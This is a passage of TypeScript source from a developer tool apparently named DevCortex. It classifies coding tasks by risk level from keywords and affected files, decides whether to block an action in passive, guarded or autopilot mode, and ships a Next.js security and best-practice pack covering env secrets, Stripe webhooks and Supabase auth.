'');\n}\n\nfunction basenameOf(path: string): string {\n const segments = path.split('/');\n const last = segments[segments.length - 1];\n return last === undefined || last.length === 0 ? path : last;\n}\n","/**\n * Internal risk-level ordering utilities.\n *\n * `RiskLevel` is an ordered scale (low < medium < high < critical). Several\n * policy operations — escalation, floor enforcement, mode gating — need to\n * compare two levels. Centralising the ordering here keeps that comparison in\n * one place and impossible to get wrong via ad-hoc string checks.\n *\n * Not part of the public `policy/` surface (not re-exported from index.ts).\n */\nimport type { RiskLevel } from '../domain/index';\n\n/** Monotonic rank for each risk level; higher means more dangerous. */\nexport const RISK_RANK: Record<RiskLevel, number> = {\n low: 0,\n medium: 1,\n high: 2,\n critical: 3,\n};\n\n/** Returns whichever of the two levels is more severe. */\nexport function maxRisk(a: RiskLevel, b: RiskLevel): RiskLevel {\n return RISK_RANK[a] >= RISK_RANK[b] ? a : b;\n}\n","/**\n * Risk classification.\n *\n * `classifyRisk` turns a free-text task description plus the project graph into a\n * structured {@link RiskClassification}. It combines two tokenless, deterministic\n * signal sources:\n * 1. Keyword analysis of the task text (auth / billing / migration / secret /\n * deploy ... map to elevated risk and a task type).\n * 2. Affected-file analysis: files in the graph that the task plausibly touches\n * can escalate risk on their own (a migration file is critical even if the\n * wording looks benign; a risky/protected file is at least high).\n * Finally it honours `config.risk.floors`: a task whose type carries a floor can\n * never be classified below that floor.\n */\nimport type {\n CortexConfig,\n FileNode,\n ProjectGraph,\n RiskClassification,\n RiskLevel,\n TaskType,\n} from '../domain/index';\nimport { DevCortexError } from '../domain/index';\nimport { isProtected } from './protected';\nimport { maxRisk, RISK_RANK } from './risk-order';\n\ninterface KeywordRule {\n readonly taskType: TaskType;\n readonly risk: RiskLevel;\n readonly label: string;\n /** Higher priority wins the task-type label when multiple rules match. */\n readonly priority: number;\n /** Tested against the lower-cased task text. Must be non-global (stateless). */\n readonly pattern: RegExp;\n}\n\n/**\n * Ordered most-specific/most-severe first. `priority` decides which matched\n * rule owns the task-type label; `risk` contributes to the overall risk level\n * (risk is the max across all matches, never a single rule's value alone).\n */\nconst KEYWORD_RULES: readonly KeywordRule[] = [\n // --- secrets / credentials (most sensitive surface) -----------------------\n {\n taskType: 'security',\n risk: 'critical',\n priority: 105,\n label: 'secret/credential handling',\n pattern:\n /\\b(?:secret|secrets|credential|credentials|api[\\s-]?keys?|private[\\s-]?key|encryption[\\s-]?key|password|passwords|token[\\s-]?signing)\\b/,\n },\n // --- database / migrations ------------------------------------------------\n {\n taskType: 'database',\n risk: 'critical',\n priority: 100,\n label: 'schema migration',\n pattern: /\\bmigrat(?:e|es|ed|ion|ions)\\b/,\n },\n {\n taskType: 'database',\n risk: 'critical',\n priority: 100,\n label: 'destructive DDL',\n pattern: /\\b(?:drop|truncate|alter)\\s+(?:table|column|schema|database|index)\\b/,\n },\n {\n taskType: 'database',\n risk: 'high',\n priority: 100,\n label: 'database change',\n pattern:\n /\\b(?:database|db|sql|postgres|postgresql|mysql|sqlite|mongodb|prisma|drizzle|schema|table|seed)\\b/,\n },\n // --- security hardening ---------------------------------------------------\n {\n taskType: 'security',\n risk: 'high',\n priority: 95,\n label: 'security hardening',\n pattern:\n /\\b(?:security|secure|vulnerability|vulnerabilities|cve|exploit|xss|csrf|ssrf|injection|sanitiz(?:e|es|ed|ation)|hardening|rate[\\s-]?limit)\\b/,\n },\n // --- auth -----------------------------------------------------------------\n {\n taskType: 'auth',\n risk: 'high',\n priority: 90,\n label: 'authentication/authorization',\n pattern:\n /\\b(?:auth|authentication|authenticate|authorization|authorize|login|logout|signin|sign-in|signup|sign-up|oauth|openid|oidc|jwt|session|sessions|rbac|permission|permissions|access[\\s-]?control|sso)\\b/,\n },\n // --- billing --------------------------------------------------------------\n {\n taskType: 'billing',\n risk: 'high',\n priority: 88,\n label: 'payment/billing flow',\n pattern:\n /\\b(?:billing|payment|payments|stripe|paypal|subscription|subscriptions|invoice|invoices|checkout|charge|charges|refund|refunds|paywall|pricing)\\b/,\n },\n // --- devops / deploy ------------------------------------------------------\n {\n taskType: 'devops',\n risk: 'critical',\n priority: 82,\n label: 'production change',\n pattern: /\\bproduction\\b/,\n },\n {\n taskType: 'devops',\n risk: 'high',\n priority: 80,\n label: 'deployment/infrastructure',\n pattern:\n /\\b(?:deploy|deployment|deployments|rollout|docker|dockerfile|kubernetes|k8s|terraform|helm|infra|infrastructure|pipeline|cicd)\\b/,\n },\n // --- release --------------------------------------------------------------\n {\n taskType: 'release',\n risk: 'high',\n priority: 78,\n label: 'release/publish',\n pattern: /\\b(?:release|publish|semver|version[\\s-]?bump)\\b/,\n },\n // --- dependency -----------------------------------------------------------\n {\n taskType: 'dependency',\n risk: 'medium',\n priority: 70,\n label: 'dependency change',\n pattern:\n /\\b(?:dependency|dependencies|upgrade|upgrades|downgrade|lockfile|node_modules|vendored?)\\b/,\n },\n // --- api ------------------------------------------------------------------\n {\n taskType: 'api',\n risk: 'medium',\n priority: 60,\n label: 'API surface',\n pattern:\n /\\b(?:api|endpoint|endpoints|route|routes|rest|graphql|resolver|resolvers|controller|controllers|webhook|webhooks)\\b/,\n },\n // --- ui -------------------------------------------------------------------\n {\n taskType: 'ui',\n risk: 'low',\n priority: 40,\n label: 'UI change',\n pattern:\n /\\b(?:ui|component|components|button|buttons|modal|modals|css|style|styles|styling|layout|page|pages|frontend|tailwind|responsive)\\b/,\n },\n // --- test -----------------------------------------------------------------\n {\n taskType: 'test',\n risk: 'low',\n priority: 38,\n label: 'test change',\n pattern: /\\b(?:test|tests|spec|specs|coverage|vitest|jest|e2e|fixture|fixtures)\\b/,\n },\n // --- feature --------------------------------------------------------------\n {\n taskType: 'feature',\n risk: 'medium',\n priority: 35,\n label: 'new feature',\n pattern: /\\b(?:implement|implements|build|create|introduce|scaffold|feature|features)\\b/,\n },\n // --- bugfix ---------------------------------------------------------------\n {\n taskType: 'bugfix',\n risk: 'low',\n priority: 30,\n label: 'bug fix',\n pattern: /\\b(?:fix|fixes|fixed|bug|bugs|bugfix|patch|hotfix|crash|broken|regression)\\b/,\n },\n // --- refactor -------------------------------------------------------------\n {\n taskType: 'refactor',\n risk: 'low',\n priority: 28,\n label: 'refactor',\n pattern:\n /\\b(?:refactor|refactors|refactoring|cleanup|reorganize|restructure|rename|renames|extract|simplify|deduplicate)\\b/,\n },\n // --- docs -----------------------------------------------------------------\n {\n taskType: 'docs',\n risk: 'low',\n priority: 25,\n label: 'documentation change',\n pattern: /\\b(?:docs?|documentation|readme|comment|comments|typo|typos|wording|changelog)\\b/,\n },\n // --- chore ----------------------------------------------------------------\n {\n taskType: 'chore',\n risk: 'low',\n priority: 20,\n label: 'chore',\n pattern: /\\b(?:chore|format|formatting|lint|whitespace|tidy)\\b/,\n },\n];\n\n/** Generic words that carry no relevance signal for file matching. */\nconst STOPWORDS: ReadonlySet<string> = new Set([\n 'the',\n 'and',\n 'for',\n 'with',\n 'that',\n 'this',\n 'from',\n 'into',\n 'onto',\n 'out',\n 'add',\n 'use',\n 'update',\n 'updates',\n 'change',\n 'changes',\n 'make',\n 'makes',\n 'new',\n 'our',\n 'your',\n 'their',\n 'all',\n 'any',\n 'some',\n 'get',\n 'set',\n 'run',\n 'via',\n 'per',\n 'not',\n 'but',\n 'too',\n 'its',\n]);\n\ninterface FileEscalation {\n readonly reason: string;\n readonly risk: RiskLevel;\n}\n\n/**\n * Classifies a task into a risk level + task type with explainable signals.\n *\n * @throws DevCortexError('INTERNAL') when `task` is not a non-empty string.\n */\nexport function classifyRisk(\n task: string,\n graph: ProjectGraph,\n config: CortexConfig,\n): RiskClassification {\n if (typeof task !== 'string') {\n throw new DevCortexError('INTERNAL', 'classifyRisk: task must be a string');\n }\n const trimmed = task.trim();\n if (trimmed.length === 0) {\n throw new DevCortexError('INTERNAL', 'classifyRisk: task description must not be empty');\n }\n const haystack = trimmed.toLowerCase();\n\n const signals: string[] = [];\n let risk: RiskLevel = 'low';\n\n // 1. Keyword analysis.\n let best: KeywordRule | undefined;\n for (const rule of KEYWORD_RULES) {\n if (!rule.pattern.test(haystack)) {\n continue;\n }\n signals.push(`keyword: ${rule.label}`);\n risk = maxRisk(risk, rule.risk);\n if (\n best === undefined ||\n rule.priority > best.priority ||\n (rule.priority === best.priority && RISK_RANK[rule.risk] > RISK_RANK[best.risk])\n ) {\n best = rule;\n }\n }\n const taskType: TaskType = best?.taskType ?? 'chore';\n if (best === undefined) {\n signals.push('no risk keywords detected');\n }\n\n // 2. Affected-file analysis — files the task plausibly touches can escalate\n // risk regardless of wording.\n const riskySet = new Set(graph.riskyFiles);\n for (const file of relevantFiles(haystack, graph)) {\n const escalation = fileEscalation(file, riskySet, config);\n if (escalation !== undefined) {\n signals.push(escalation.reason);\n risk = maxRisk(risk, escalation.risk);\n }\n }\n\n // 3. Floor enforcement — a task type's floor can only raise risk, never lower.\n const floor = config.risk.floors[taskType];\n if (floor !== undefined) {\n const raised = maxRisk(risk, floor);\n if (RISK_RANK[raised] > RISK_RANK[risk]) {\n signals.push(`risk floor (${taskType}) raised risk to ${floor}`);\n }\n risk = raised;\n }\n\n const uniqueSignals = dedupe(signals);\n return {\n riskLevel: risk,\n taskType,\n signals: uniqueSignals,\n rationale: buildRationale(taskType, risk, uniqueSignals),\n };\n}\n\n/** Strongest single escalation a file contributes, or undefined if none. */\nfunction fileEscalation(\n file: FileNode,\n riskySet: ReadonlySet<string>,\n config: CortexConfig,\n): FileEscalation | undefined {\n const candidates: FileEscalation[] = [];\n\n switch (file.kind) {\n case 'migration':\n candidates.push({ reason: `affects migration file ${file.path}`, risk: 'critical' });\n break;\n case 'auth':\n candidates.push({ reason: `affects auth file ${file.path}`, risk: 'high' });\n break;\n case 'billing':\n candidates.push({ reason: `affects billing file ${file.path}`, risk: 'high' });\n break;\n case 'middleware':\n candidates.push({ reason: `affects middleware ${file.path}`, risk: 'high' });\n break;\n case 'env':\n candidates.push({ reason: `affects env file ${file.path}`, risk: 'high' });\n break;\n case 'config':\n candidates.push({ reason: `affects config file ${file.path}`, risk: 'medium' });\n break;\n default:\n break;\n }\n\n if (file.risky || riskySet.has(file.path)) {\n candidates.push({ reason: `affects risky file ${file.path}`, risk: 'high' });\n }\n if (isProtected(file.path, config)) {\n candidates.push({ reason: `affects protected path ${file.path}`, risk: 'high' });\n }\n\n if (candidates.length === 0) {\n return undefined;\n }\n return candidates.reduce((strongest, candidate) =>\n RISK_RANK[candidate.risk] > RISK_RANK[strongest.risk] ? candidate : strongest,\n );\n}\n\n/** Files whose path/symbols/tags share a meaningful token with the task. */\nfunction relevantFiles(haystack: string, graph: ProjectGraph): FileNode[] {\n const taskTokens = tokenize(haystack);\n if (taskTokens.size === 0) {\n return [];\n }\n const relevant: FileNode[] = [];\n for (const file of graph.files) {\n if (isFileRelevant(file, taskTokens)) {\n relevant.push(file);\n }\n }\n return relevant;\n}\n\nfunction isFileRelevant(file: FileNode, taskTokens: ReadonlySet<string>): boolean {\n for (const token of tokenize(file.path)) {\n if (taskTokens.has(token)) {\n return true;\n }\n }\n for (const symbol of file.symbols) {\n if (taskTokens.has(symbol.toLowerCase())) {\n return true;\n }\n }\n for (const tag of file.tags) {\n if (taskTokens.has(tag.toLowerCase())) {\n return true;\n }\n }\n return false;\n}\n\nfunction tokenize(text: string): Set<string> {\n const tokens = new Set<string>();\n for (const raw of text.toLowerCase().split(/[^a-z0-9]+/)) {\n if (raw.length >= 3 && !STOPWORDS.has(raw)) {\n tokens.add(raw);\n }\n }\n return tokens;\n}\n\nfunction dedupe(items: string[]): string[] {\n return [...new Set(items)];\n}\n\nfunction buildRationale(taskType: TaskType, risk: RiskLevel, signals: string[]): string {\n const shown = signals.slice(0, 4).join('; ');\n const overflow = signals.length > 4 ? ` (+${signals.length - 4} more)` : '';\n const evidence = shown.length > 0 ? `: ${shown}${overflow}` : '';\n return `Classified as \"${taskType}\" at ${risk} risk from ${signals.length} signal(s)${evidence}.`;\n}\n","/**\n * Risk → context-depth mapping.\n *\n * Encodes the risk-based-depth philosophy: low-risk work stays light (tiny\n * context), medium work gets a standard pack, and anything high or critical\n * earns a deep analysis pass.\n */\nimport type { ContextDepth, RiskLevel } from '../domain/index';\nimport { DevCortexError } from '../domain/index';\n\n/**\n * Maps a classified risk level to the context depth the compilers should use.\n * low → tiny, medium → standard, high/critical → deep.\n */\nexport function depthForRisk(risk: RiskLevel): ContextDepth {\n switch (risk) {\n case 'low':\n return 'tiny';\n case 'medium':\n return 'standard';\n case 'high':\n return 'deep';\n case 'critical':\n return 'deep';\n default: {\n const exhaustive: never = risk;\n throw new DevCortexError('INTERNAL', `Unhandled risk level: ${String(exhaustive)}`);\n }\n }\n}\n","/**\n * Operating-mode gating.\n *\n * Whether DevCortex should *block* an action is a function of the operating mode\n * and the action's risk. \"Passive first\" is the governing principle: the default\n * mode never blocks. Guarded mode blocks genuinely dangerous work; autopilot\n * blocks only the most catastrophic.\n */\nimport type { OperatingMode, RiskLevel } from '../domain/index';\nimport { DevCortexError } from '../domain/index';\nimport { RISK_RANK } from './risk-order';\n\n/**\n * Returns true when an action at the given risk should be blocked in the given\n * mode.\n * - passive: never blocks (observe/record/suggest only).\n * - guarded: blocks high and critical.\n * - autopilot: blocks only critical.\n */\nexport function shouldBlock(mode: OperatingMode, risk: RiskLevel): boolean {\n switch (mode) {\n case 'passive':\n return false;\n case 'guarded':\n return RISK_RANK[risk] >= RISK_RANK.high;\n case 'autopilot':\n return RISK_RANK[risk] >= RISK_RANK.critical;\n default: {\n const exhaustive: never = mode;\n throw new DevCortexError('INTERNAL', `Unhandled operating mode: ${String(exhaustive)}`);\n }\n }\n}\n","/**\n * Stack packs — best-practice / anti-pattern / version knowledge keyed to a\n * detected stack. Ships the Next.js + TypeScript reference pack with real,\n * current (2026) guidance (App Router, Server Actions, RSC, env safety,\n * server-side Stripe, Supabase SSR auth).\n *\n * Public API (Wave 1):\n * nextjsPack: StackPack\n * allPacks: StackPack[]\n * matchPacks(stack: DetectedStack): StackPack[]\n *\n * Registry integrity is validated at module load: a malformed pack throws a\n * DevCortexError('STACK_PACK_INVALID') rather than silently shipping partial\n * guidance to a host agent.\n */\n\nimport { z } from 'zod';\n\nimport { DevCortexError, FileKindSchema, RiskLevelSchema } from '../domain/index';\nimport type { DetectedStack, StackPack } from '../domain/index';\n\nimport { nextjsPack } from './nextjs';\nimport { reactPack } from './react';\nimport { typescriptPack } from './typescript';\nimport { tailwindPack } from './tailwind';\nimport { shadcnPack } from './shadcn';\nimport { nodePack } from './node';\nimport { supabasePack } from './supabase';\nimport { prismaPack } from './prisma';\nimport { stripePack } from './stripe';\nimport { vercelPack } from './vercel';\nimport { fastapiPack } from './fastapi';\nimport { postgresPack } from './postgres';\nimport { dockerPack } from './docker';\nimport { kubernetesPack } from './kubernetes';\nimport { githubActionsPack } from './github-actions';\n\nexport { nextjsPack } from './nextjs';\nexport { reactPack } from './react';\nexport { typescriptPack } from './typescript';\nexport { tailwindPack } from './tailwind';\nexport { shadcnPack } from './shadcn';\nexport { nodePack } from './node';\nexport { supabasePack } from './supabase';\nexport { prismaPack } from './prisma';\nexport { stripePack } from './stripe';\nexport { vercelPack } from './vercel';\nexport { fastapiPack } from './fastapi';\nexport { postgresPack } from './postgres';\nexport { dockerPack } from './docker';\nexport { kubernetesPack } from './kubernetes';\nexport { githubActionsPack } from './github-actions';\n\n// --- registry integrity validation -----------------------------------------\n// StackPack/Rule/VersionCheck/KnownFailure are not persisted artifacts, so they\n// have no domain zod schema. These local schemas exist purely to fail fast if a\n// pack in this registry is structurally malformed (empty required arrays, blank\n// fields, an invalid severity or appliesTo kind). `matches` is a function and is\n// validated separately.\n\nconst RuleSchema = z.object({\n id: z.string().min(1),\n title: z.string().min(1),\n detail: z.string().min(1),\n severity: RiskLevelSchema,\n appliesTo: z.array(FileKindSchema).min(1).optional(),\n});\n\nconst VersionCheckSchema = z.object({\n pkg: z.string().min(1),\n supported: z.string().min(1),\n note: z.string().min(1),\n});\n\nconst KnownFailureSchema = z.object({\n id: z.string().min(1),\n signature: z.string().min(1),\n cause: z.string().min(1),\n fix: z.string().min(1),\n});\n\nconst nonEmptyStrings = z.array(z.string().min(1)).min(1);\n\nconst StackPackDataSchema = z.object({\n id: z.string().min(1),\n name: z.string().min(1),\n bestPractices: z.array(RuleSchema).min(1),\n antiPatterns: z.array(RuleSchema).min(1),\n recommendedLibraries: nonEmptyStrings,\n versionChecks: z.array(VersionCheckSchema).min(1),\n setupCommands: nonEmptyStrings,\n testCommands: nonEmptyStrings,\n qualityGates: nonEmptyStrings,\n securityNotes: nonEmptyStrings,\n deploymentNotes: nonEmptyStrings,\n commonFailures: z.array(KnownFailureSchema).min(1),\n});\n\nfunction assertValidPack(pack: StackPack): void {\n if (typeof pack.matches !== 'function') {\n throw new DevCortexError('STACK_PACK_INVALID', `stack pack \"${pack.id}\" is missing a matches() function`, {\n details: { packId: pack.id },\n });\n }\n\n const parsed = StackPackDataSchema.safeParse(pack);\n if (!parsed.success) {\n throw new DevCortexError(\n 'STACK_PACK_INVALID',\n `stack pack \"${pack.id}\" failed structural validation: ${parsed.error.issues\n .map((issue) => `${issue.path.join('.')}: ${issue.message}`)\n .join('; ')}`,\n { details: parsed.error.issues },\n );\n }\n\n // Rule ids and KnownFailure ids must be unique within a pack so a host agent\n // never receives two conflicting entries under the same id.\n const ruleIds = [...pack.bestPractices, ...pack.antiPatterns].map((rule) => rule.id);\n const failureIds = pack.commonFailures.map((failure) => failure.id);\n for (const [label, ids] of [\n ['rule', ruleIds],\n ['common-failure', failureIds],\n ] as const) {\n const seen = new Set<string>();\n for (const id of ids) {\n if (seen.has(id)) {\n throw new DevCortexError('STACK_PACK_INVALID', `stack pack \"${pack.id}\" has a duplicate ${label} id \"${id}\"`, {\n details: { packId: pack.id, duplicateId: id },\n });\n }\n seen.add(id);\n }\n }\n}\n\nconst REGISTERED_PACKS: StackPack[] = [\n nextjsPack,\n reactPack,\n typescriptPack,\n tailwindPack,\n shadcnPack,\n nodePack,\n supabasePack,\n prismaPack,\n stripePack,\n vercelPack,\n fastapiPack,\n postgresPack,\n dockerPack,\n kubernetesPack,\n githubActionsPack,\n];\n\nconst seenPackIds = new Set<string>();\nfor (const pack of REGISTERED_PACKS) {\n assertValidPack(pack);\n if (seenPackIds.has(pack.id)) {\n throw new DevCortexError('STACK_PACK_INVALID', `duplicate stack pack id \"${pack.id}\" in the registry`, {\n details: { packId: pack.id },\n });\n }\n seenPackIds.add(pack.id);\n}\n\n/** All stack packs known to the engine. */\nexport const allPacks: StackPack[] = [...REGISTERED_PACKS];\n\n/**\n * Return every stack pack whose `matches(stack)` predicate is true for the\n * detected stack.\n *\n * @throws DevCortexError('STACK_PACK_INVALID') when `stack` is not a\n * DetectedStack-shaped object (defends against untrusted callers).\n */\nexport function matchPacks(stack: DetectedStack): StackPack[] {\n if (stack === null || typeof stack !== 'object' || typeof (stack as Partial<DetectedStack>).framework !== 'string') {\n throw new DevCortexError('STACK_PACK_INVALID', 'matchPacks requires a DetectedStack with a string framework', {\n details: { received: stack },\n });\n }\n return REGISTERED_PACKS.filter((pack) => pack.matches(stack));\n}\n","/**\n * Next.js + TypeScript reference stack pack.\n *\n * Real, current (2026) guidance for a Next.js 15 / React 19 App Router app:\n * Server Components by default, Server Actions, env safety (the NEXT_PUBLIC_\n * rule), Route Handlers, forms with React Hook Form + Zod, server-side Stripe\n * Checkout + webhook signature verification, and the Supabase SSR auth /\n * middleware pattern. Versions and patterns are anchored to the shipping APIs:\n * Stripe Node SDK 19.x (`webhooks.constructEvent` over the RAW body) and\n * `@supabase/ssr` (`auth.getUser()` for verified identity, `getAll`/`setAll`\n * cookie handlers for middleware token refresh).\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\nconst bestPractices: Rule[] = [\n {\n id: 'nextjs.rsc-default',\n title: 'Default to Server Components; add \"use client\" only at interactive leaves',\n detail:\n 'App Router files are Server Components unless they declare \"use client\". Keep data fetching, secrets and heavy logic on the server and push \"use client\" as deep as possible (a button, an input) so the client bundle and the secret surface stay small.',\n severity: 'medium',\n appliesTo: ['component', 'page', 'route'],\n },\n {\n id: 'nextjs.server-action-validate-authorize',\n title: 'Validate and authorize inside every Server Action',\n detail:\n 'A \"use server\" action is a public POST endpoint. Treat every argument as untrusted: re-parse it with the same Zod schema used on the client, then check authentication and resource ownership before mutating. Return a typed { ok, error } result rather than throwing raw errors to the client.',\n severity: 'high',\n appliesTo: ['service', 'api', 'auth'],\n },\n {\n id: 'nextjs.env-public-prefix',\n title: 'Only NEXT_PUBLIC_ vars reach the browser — never prefix a secret',\n detail:\n 'At build time Next inlines every NEXT_PUBLIC_-prefixed variable into the client JS bundle. Keep secrets (STRIPE_SECRET_KEY, STRIPE_WEBHOOK_SECRET, SUPABASE_SERVICE_ROLE_KEY) unprefixed and read them only in server code.',\n severity: 'critical',\n appliesTo: ['env', 'config'],\n },\n {\n id: 'nextjs.server-only-guard',\n title: 'Import \"server-only\" in any module that holds a secret',\n detail:\n 'Add `import \"server-only\"` at the top of modules that read secrets or call privileged APIs. If such a module is ever pulled into a Client Component the build fails loudly instead of silently shipping the secret to the browser.',\n severity: 'high',\n appliesTo: ['lib', 'service', 'config'],\n },\n {\n id: 'nextjs.route-handler-node-runtime',\n title: 'Use Route Handlers with the Node runtime for Stripe/Node-SDK work',\n detail:\n 'Implement REST/webhook endpoints as app/api/**/route.ts Route Handlers. When the handler uses the Stripe Node SDK (it needs Node crypto) declare `export const runtime = \"nodejs\"`; the Edge runtime cannot run it.',\n severity: 'medium',\n appliesTo: ['api', 'route', 'billing'],\n },\n {\n id: 'nextjs.forms-rhf-zod',\n title: 'React Hook Form + zodResolver on the client, re-validate the same schema on the server',\n detail:\n 'Drive forms with react-hook-form and @hookform/resolvers/zod for UX-level validation, but share the Zod schema with the Server Action / Route Handler and re-validate there. Client validation is for ergonomics; server validation is the security boundary.',\n severity: 'medium',\n appliesTo: ['component', 'api', 'service'],\n },\n {\n id: 'nextjs.stripe-server-checkout',\n title: 'Create Stripe Checkout Sessions server-side; the client only redirects',\n detail:\n 'Build the Checkout Session in a Server Action or Route Handler using the secret key, then hand the browser only the session URL (or id for @stripe/stripe-js redirectToCheckout). The secret key and price logic never leave the server.',\n severity: 'critical',\n appliesTo: ['billing', 'api', 'service'],\n },\n {\n id: 'nextjs.stripe-webhook-raw-signature',\n title: 'Verify Stripe webhooks against the RAW body before trusting the event',\n detail:\n 'In the webhook Route Handler read the unparsed body with `const body = await req.text()` and call `stripe.webhooks.constructEvent(body, req.headers.get(\"stripe-signature\"), STRIPE_WEBHOOK_SECRET)`. Only act on the event after verification; respond 400 on a verification error and dedupe on event.id for Stripe retries.',\n severity: 'critical',\n appliesTo: ['billing', 'api', 'route'],\n },\n {\n id: 'nextjs.supabase-getuser-server',\n title: 'Authenticate with supabase.auth.getUser() on the server, never getSession()',\n detail:\n 'On the server use `const { data: { user } } = await supabase.auth.getUser()`, which revalidates the JWT against the Supabase Auth server. `getSession()` only decodes the cookie without verifying it and must not gate authorization decisions.',\n severity: 'critical',\n appliesTo: ['auth', 'middleware', 'api'],\n },\n {\n id: 'nextjs.supabase-middleware-refresh',\n title: 'Refresh the Supabase session in middleware.ts with getAll/setAll',\n detail:\n 'Create the per-request server client with createServerClient and both `getAll` and `setAll` cookie handlers, call getUser() to trigger a token refresh, and return the NextResponse whose cookies setAll mutated. Without setAll the refreshed tokens are never written back and users get logged out intermittently.',\n severity: 'high',\n appliesTo: ['middleware', 'auth'],\n },\n {\n id: 'nextjs.revalidate-after-mutation',\n title: 'Revalidate or redirect after a successful mutation',\n detail:\n 'After a Server Action writes data call revalidatePath()/revalidateTag() (or redirect()) so cached Server Component segments refetch. Otherwise the Full Route Cache serves stale data until a hard refresh.',\n severity: 'medium',\n appliesTo: ['service', 'api'],\n },\n {\n id: 'nextjs.await-async-dynamic-apis',\n title: 'Await the async dynamic APIs (cookies/headers/params) in Next 15',\n detail:\n 'Next 15 made cookies(), headers(), draftMode(), and the page `params`/`searchParams` props asynchronous. Await them (`const cookieStore = await cookies()`; `const { id } = await params`) and type page props with `params: Promise<...>`.',\n severity: 'medium',\n appliesTo: ['page', 'route', 'api'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'nextjs.anti.secret-in-public-env',\n title: 'Putting a secret behind NEXT_PUBLIC_',\n detail:\n 'NEXT_PUBLIC_STRIPE_SECRET_KEY (or any secret with that prefix) is inlined into the browser bundle and leaks to every visitor. Drop the prefix, read it server-side only, and rotate any key that was ever exposed this way.',\n severity: 'critical',\n appliesTo: ['env', 'config'],\n },\n {\n id: 'nextjs.anti.secret-import-in-client',\n title: 'Importing a secret-reading module from a \"use client\" component',\n detail:\n 'A Client Component that imports a module reading process.env secrets (or Node built-ins) bundles that code for the browser. Keep secret access in Server Components / \"use server\" actions and pass only serialisable props down.',\n severity: 'critical',\n appliesTo: ['component', 'service'],\n },\n {\n id: 'nextjs.anti.webhook-json-before-verify',\n title: 'Parsing the Stripe webhook body before constructEvent',\n detail:\n 'Calling await req.json() (or any reserialization) before signature verification changes the bytes Stripe signed, so constructEvent always fails. Read req.text() first and verify, then JSON.parse the verified event if needed.',\n severity: 'critical',\n appliesTo: ['billing', 'api', 'route'],\n },\n {\n id: 'nextjs.anti.stripe-secret-on-client',\n title: 'Initialising Stripe with the secret key in client code',\n detail:\n 'new Stripe(STRIPE_SECRET_KEY) must run only on the server. The browser uses @stripe/stripe-js with the publishable key. Shipping the secret key to the client exposes full account access.',\n severity: 'critical',\n appliesTo: ['billing', 'component'],\n },\n {\n id: 'nextjs.anti.supabase-getsession-authz',\n title: 'Trusting auth.getSession() for server-side authorization',\n detail:\n 'getSession() returns the cookie contents without contacting the Auth server, so a forged cookie passes. Use getUser() (or getClaims()) for any access-control decision on the server.',\n severity: 'high',\n appliesTo: ['auth', 'middleware'],\n },\n {\n id: 'nextjs.anti.server-action-no-authz',\n title: 'A Server Action that mutates without an auth/ownership check',\n detail:\n 'Because Server Actions are reachable as public endpoints, an action that updates or deletes data without verifying the caller and their ownership of the resource is an IDOR. Always check user identity and ownership first.',\n severity: 'critical',\n appliesTo: ['service', 'api', 'auth'],\n },\n {\n id: 'nextjs.anti.client-only-validation',\n title: 'Validating forms only on the client',\n detail:\n 'react-hook-form validation runs in the browser and is trivially bypassed. The Server Action / Route Handler must re-validate the payload with the same Zod schema before persisting.',\n severity: 'high',\n appliesTo: ['component', 'api'],\n },\n {\n id: 'nextjs.anti.client-effect-data-fetch',\n title: 'Fetching server data in a client useEffect that an RSC could fetch',\n detail:\n 'Fetching in a Client Component useEffect adds a waterfall, ships the fetch logic to the browser, and loses streaming. Fetch in the Server Component and pass data (or stream with Suspense) instead.',\n severity: 'low',\n appliesTo: ['component', 'page'],\n },\n {\n id: 'nextjs.anti.sync-dynamic-api',\n title: 'Accessing cookies()/headers()/params synchronously on Next 15',\n detail:\n 'Reading the now-async dynamic APIs without awaiting throws a sync-dynamic-apis error (and breaks the type). Await them or destructure the awaited props prop.',\n severity: 'medium',\n appliesTo: ['page', 'route'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'next',\n supported: '^15',\n note: 'Next.js 15: stable App Router, async cookies()/headers()/params, and React 19 support. Below 15 the App Router caching semantics differ; read the 15.x upgrade notes before bumping major.',\n },\n {\n pkg: 'react',\n supported: '^19',\n note: 'React 19 provides Server Components, useActionState, useFormStatus and the `use` hook that Next 15 relies on. react and react-dom must share the same major.',\n },\n {\n pkg: 'react-dom',\n supported: '^19',\n note: 'Must match the react major exactly; a react/react-dom skew causes invalid-hook-call and hydration errors.',\n },\n {\n pkg: 'typescript',\n supported: '^5',\n note: 'TypeScript 5.x is required for `satisfies`, const type parameters, and the strict flags (noUncheckedIndexedAccess, verbatimModuleSyntax) this stack assumes.',\n },\n {\n pkg: 'stripe',\n supported: '^19',\n note: 'Stripe Node SDK 19.x. Pin the API version via the `apiVersion` constructor option so an SDK upgrade never silently changes webhook payload shapes; verify webhooks with webhooks.constructEvent over the raw body.',\n },\n {\n pkg: '@supabase/ssr',\n supported: '^0.6',\n note: 'Use @supabase/ssr (not the deprecated auth-helpers) for App Router. createServerClient requires getAll, and setAll for middleware so token refreshes persist.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'nextjs.fail.stripe-webhook-raw-body',\n signature:\n 'Webhook Error: No signatures found matching the expected signature for payload / \"Webhook payload must be provided as a string or a Buffer\"',\n cause:\n 'The webhook body was parsed (await req.json()) or reserialized before stripe.webhooks.constructEvent, so the bytes no longer match what Stripe signed.',\n fix: 'Read the raw body with `const body = await req.text()` in the App Router Route Handler and pass that string plus req.headers.get(\"stripe-signature\") to constructEvent. Never parse the body first.',\n },\n {\n id: 'nextjs.fail.stripe-edge-runtime',\n signature: 'The edge runtime does not support Node.js \"crypto\" module / Stripe SDK throws on a Vercel Edge function',\n cause: 'The Stripe Node SDK needs Node crypto, but the Route Handler ran on the Edge runtime (default for some configs).',\n fix: 'Add `export const runtime = \"nodejs\"` to the Stripe Route Handler, or switch to webhooks.constructEventAsync with a Web Crypto provider if Edge is mandatory.',\n },\n {\n id: 'nextjs.fail.secret-leaked-public-env',\n signature: 'A secret value (e.g. STRIPE_SECRET_KEY) appears in the browser Network tab or in the _next/static client bundle',\n cause: 'The variable was prefixed with NEXT_PUBLIC_ (or read inside a Client Component), so Next inlined it into the client bundle at build time.',\n fix: 'Rename the variable to drop NEXT_PUBLIC_, read it only in server code, rotate the leaked key immediately, and add `import \"server-only\"` to the module so a future leak becomes a build error.',\n },\n {\n id: 'nextjs.fail.supabase-getsession-insecure',\n signature:\n 'Supabase warning: 